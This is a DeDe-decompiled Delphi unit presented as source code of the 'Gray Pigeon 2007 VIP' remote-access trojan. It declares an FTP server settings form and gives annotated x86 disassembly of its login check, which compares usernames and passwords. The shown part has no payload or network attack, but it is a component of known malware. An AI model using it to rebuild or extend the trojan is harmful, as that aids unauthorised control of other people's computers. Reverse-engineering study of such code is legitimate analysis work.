ftpserverunit.pas

灰鸽子2007VIP版源码

unit FTPServerUnit;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics,
  Controls, Forms, Dialogs, StdCtrls
type
  TFTPServerForm=class(TForm)
    DSF: TspDynamicSkinForm;
    Label1: TspSkinStdLabel;
    FilenameEdit1: TspSkinEdit;
    Label3: TspSkinStdLabel;
    UserEdit: TspSkinEdit;
    Label4: TspSkinStdLabel;
    Label5: TspSkinStdLabel;
    BEdit: TspSkinEdit;
    Label2: TspSkinStdLabel;
    PortEdit: TspSkinEdit;
    StartButton: TspSkinButton;
    StopButton: TspSkinButton;
    FtpServer1: TFtpServer;
    CheckBox6: TspSkinCheckRadioBox;
    Panel1: TspSkinPanel;
    Memo1: TspSkinMemo;
    spSkinScrollBar15: TspSkinScrollBar;
    AutoSaveFTPInf: TspSkinCheckRadioBox;
    AutoStatFTP: TspSkinCheckRadioBox;
    PassEdit: TspSkinPasswordEdit;
    procedure FtpServer1Authenticate(Sender : TObject);
    procedure CheckBox6Click(Sender : TObject);
    procedure StartButtonClick(Sender : TObject);
    procedure FtpServer1ChangeDirectory(Sender : TObject);
    procedure FtpServer1Start(Sender : TObject);
    procedure FtpServer1Stop(Sender : TObject);
    procedure StopButtonClick(Sender : TObject);
    procedure FilenameEdit1ButtonClick(Sender : TObject);
    procedure FtpServer1ClientConnect(Sender : TObject);
    procedure FtpServer1ClientDisconnect(Sender : TObject);
    procedure FtpServer1ClientCommand(Sender : TObject);
    procedure AutoSaveFTPInfClick(Sender : TObject);
    procedure AutoStatFTPClick(Sender : TObject);
    procedure FormCreate(Sender : TObject);
    procedure FilenameEdit1Change(Sender : TObject);
    procedure PortEditChange(Sender : TObject);
    procedure UserEditChange(Sender : TObject);
    procedure PassEditChange(Sender : TObject);
    procedure BEditChange(Sender : TObject);
    procedure _PROC_005AD851(Sender : TObject);
    procedure _PROC_005ADBFD(Sender : TObject);
    procedure _PROC_005ADE8D(Sender : TObject);
    procedure _PROC_005AE04D(Sender : TObject);
    procedure _PROC_005AE07C(Sender : TObject);
    procedure _PROC_005AE084(Sender : TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end ;

var
  FTPServerForm: TFTPServerForm;

{This file is generated by DeDe Ver 3.50.02 Copyright (c) 1999-2002 DaFixer}

implementation

{$R *.DFM}

procedure TFTPServerForm.FtpServer1Authenticate(Sender : TObject);
begin
(*
005ACD60   55                     push    ebp
005ACD61   8BEC                   mov     ebp, esp
005ACD63   81C4E8FDFFFF           add     esp, $FFFFFDE8
005ACD69   53                     push    ebx
005ACD6A   56                     push    esi
005ACD6B   57                     push    edi
005ACD6C   33DB                   xor     ebx, ebx
005ACD6E   899DE8FDFFFF           mov     [ebp+$FFFFFDE8], ebx
005ACD74   899DF0FDFFFF           mov     [ebp+$FFFFFDF0], ebx
005ACD7A   899DECFDFFFF           mov     [ebp+$FFFFFDEC], ebx
005ACD80   899DF8FDFFFF           mov     [ebp+$FFFFFDF8], ebx
005ACD86   899DF4FDFFFF           mov     [ebp+$FFFFFDF4], ebx
005ACD8C   899DFCFDFFFF           mov     [ebp+$FFFFFDFC], ebx
005ACD92   8B750C                 mov     esi, [ebp+$0C]
005ACD95   8DBD00FEFFFF           lea     edi, [ebp+$FFFFFE00]
005ACD9B   51                     push    ecx
005ACD9C   33C9                   xor     ecx, ecx
005ACD9E   8A0E                   mov     cl, byte ptr [esi]
005ACDA0   41                     inc     ecx
005ACDA1   F3                     rep
005ACDA2   A4                     movsb
005ACDA3   59                     pop     ecx
005ACDA4   8B7510                 mov     esi, [ebp+$10]
005ACDA7   8DBD00FFFFFF           lea     edi, [ebp+$FFFFFF00]
005ACDAD   51                     push    ecx
005ACDAE   33C9                   xor     ecx, ecx
005ACDB0   8A0E                   mov     cl, byte ptr [esi]
005ACDB2   41                     inc     ecx
005ACDB3   F3                     rep
005ACDB4   A4                     movsb
005ACDB5   59                     pop     ecx
005ACDB6   8BF1                   mov     esi, ecx
005ACDB8   8BD8                   mov     ebx, eax
005ACDBA   8B7D08                 mov     edi, [ebp+$08]
005ACDBD   33C0                   xor     eax, eax
005ACDBF   55                     push    ebp
005ACDC0   68E0CE5A00             push    $005ACEE0

***** TRY
|
005ACDC5   64FF30                 push    dword ptr fs:[eax]
005ACDC8   648920                 mov     fs:[eax], esp
005ACDCB   8B8688050000           mov     eax, [esi+$0588]

|
005ACDD1   E866FEFFFF             call    005ACC3C

* Reference to control TFTPServerForm.CheckBox6 : TspSkinCheckRadioBox
|
005ACDD6   8B832C030000           mov     eax, [ebx+$032C]

* Reference to field TspSkinCheckRadioBox.OFFS_02F0
|
005ACDDC   80B8F002000000         cmp     byte ptr [eax+$02F0], $00
005ACDE3   742A                   jz      005ACE0F
005ACDE5   C60701                 mov     byte ptr [edi], $01
005ACDE8   8D95FCFDFFFF           lea     edx, [ebp+$FFFFFDFC]

* Reference to control PageControl6 : N.A.
|
005ACDEE   8B8300030000           mov     eax, [ebx+$0300]

* Reference to: Mask.TCustomMaskEdit.GetText(TCustomMaskEdit):TMaskedText;
|
005ACDF4   E87790F1FF             call    004C5E70
005ACDF9   8B95FCFDFFFF           mov     edx, [ebp+$FFFFFDFC]
005ACDFF   8D8694050000           lea     eax, [esi+$0594]

* Reference to: System.@LStrAsg(void;void;void;void);
|
005ACE05   E8767CE5FF             call    00404A80
005ACE0A   E998000000             jmp     005ACEA7
005ACE0F   8D95F8FDFFFF           lea     edx, [ebp+$FFFFFDF8]

* Reference to control Label1 : TspSkinStdLabel
|
005ACE15   8B8308030000           mov     eax, [ebx+$0308]

* Reference to: Mask.TCustomMaskEdit.GetText(TCustomMaskEdit):TMaskedText;
|
005ACE1B   E85090F1FF             call    004C5E70
005ACE20   8B85F8FDFFFF           mov     eax, [ebp+$FFFFFDF8]
005ACE26   50                     push    eax
005ACE27   8D85F4FDFFFF           lea     eax, [ebp+$FFFFFDF4]
005ACE2D   8D9500FFFFFF           lea     edx, [ebp+$FFFFFF00]

* Reference to: System.@LStrFromString(String;String;ShortString;ShortString);
|           or: System.@WStrFromString(WideString;WideString;ShortString;ShortString);
|
005ACE33   E8587EE5FF             call    00404C90
005ACE38   8B95F4FDFFFF           mov     edx, [ebp+$FFFFFDF4]
005ACE3E   58                     pop     eax

* Reference to: System.@LStrCmp;
|
005ACE3F   E8F47FE5FF             call    00404E38
005ACE44   755E                   jnz     005ACEA4
005ACE46   8D95F0FDFFFF           lea     edx, [ebp+$FFFFFDF0]

* Reference to control Label2 : TspSkinStdLabel
|
005ACE4C   8B8344030000           mov     eax, [ebx+$0344]

* Reference to: DBAdapt.TCustomDataSetAdapterField.GetAdapterValuesList(TCustomDataSetAdapterField):SiteComp.IValuesListAdapter;
|           or: DBLocalI.TIBClientDataSet.GetCommandText(TIBClientDataSet):AnsiString;
|           or: DBTables.TTable.PSGetTableName(TTable):AnsiString;
|           or: IBTable.TIBTable.PSGetTableName(TIBTable):AnsiString;
|           or: IWControl.TIWControl.GetInitProc(TIWControl):AnsiString;
|           or: IWControl.TIWControl.GetIWCLInitProc(TIWControl):AnsiString;
|
005ACE52   E8BDF0F4FF             call    004FBF14
005ACE57   8B85F0FDFFFF           mov     eax, [ebp+$FFFFFDF0]
005ACE5D   50                     push    eax
005ACE5E   8D85ECFDFFFF           lea     eax, [ebp+$FFFFFDEC]
005ACE64   8D9500FEFFFF           lea     edx, [ebp+$FFFFFE00]

* Reference to: System.@LStrFromString(String;String;ShortString;ShortString);
|           or: System.@WStrFromString(WideString;WideString;ShortString;ShortString);
|
005ACE6A   E8217EE5FF             call    00404C90
005ACE6F   8B95ECFDFFFF           mov     edx, [ebp+$FFFFFDEC]
005ACE75   58                     pop     eax

* Reference to: System.@LStrCmp;
|
005ACE76   E8BD7FE5FF             call    00404E38
005ACE7B   7527                   jnz     005ACEA4
005ACE7D   C60701                 mov     byte ptr [edi], $01
005ACE80   8D95E8FDFFFF           lea     edx, [ebp+$FFFFFDE8]

* Reference to control PageControl6 : N.A.
|
005ACE86   8B8300030000           mov     eax, [ebx+$0300]

* Reference to: Mask.TCustomMaskEdit.GetText(TCustomMaskEdit):TMaskedText;
|
005ACE8C   E8DF8FF1FF             call    004C5E70
005ACE91   8B95E8FDFFFF           mov     edx, [ebp+$FFFFFDE8]
005ACE97   8D8694050000           lea     eax, [esi+$0594]

* Reference to: System.@LStrAsg(void;void;void;void);
|
005ACE9D   E8DE7BE5FF             call    00404A80
005ACEA2   EB03                   jmp     005ACEA7
005ACEA4   C60700                 mov     byte ptr [edi], $00
005ACEA7   33C0                   xor     eax, eax
005ACEA9   5A                     pop     edx
005ACEAA   59                     pop     ecx
005ACEAB   59                     pop     ecx
005ACEAC   648910                 mov     fs:[eax], edx

****** FINALLY
|
005ACEAF   68E7CE5A00             push    $005ACEE7